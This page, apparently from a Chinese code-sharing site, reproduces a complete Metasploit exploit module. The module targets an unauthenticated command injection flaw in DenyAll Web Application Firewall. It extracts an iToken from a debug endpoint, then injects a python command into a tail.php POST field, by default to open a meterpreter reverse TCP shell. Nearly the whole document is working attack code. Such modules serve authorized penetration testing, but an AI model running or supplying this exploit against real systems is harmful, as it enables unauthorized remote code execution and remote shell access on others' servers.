扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "DenyAll Web Application Firewall Remote Code Execution", 'Description'=> %q{ This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/'] ], 'DefaultOptions'=> { 'SSL' => true, 'RPORT' => 3001, 'Payload'=> 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets'=> [[ 'Automatic', { }]], 'Privileged' => false, 'DisclosureDate' => "Sep 19 2017", 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/']) ] ) end def get_token # Taking token by exploiting bug on first endpoint. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'), 'vars_get' => { 'applianceUid' => 'LOCALUID', 'typeOf' => 'debug' } }) if res && res.code == 200 && res.body.include?("iToken") res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0] else nil end end def check # If we've managed to get token, that means target is most likely vulnerable. token = get_token if token.nil? Exploit::CheckCode::Safe else Exploit::CheckCode::Appears end end def exploit # Get iToken from unauthenticated accessible endpoint print_status('Extracting iToken value') token = get_token if token.nil? fail_with(Failure::NotVulnerable, "Target is not vulnerable.") else print_good("Awesome. iToken value = #{token}") end # Accessing to the vulnerable second endpoint where we have command injection with valid iToken print_status('Trigerring command injection vulnerability with iToken value.') r = rand_text_alpha(5 + rand(3)); send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'), 'vars_post' => { 'iToken' => token, 'tag' => 'tunnel', 'stime' => r, 'type' => "#{r}$(python -c \"#{payload.encoded}\")" } }) end end |
体验盒子
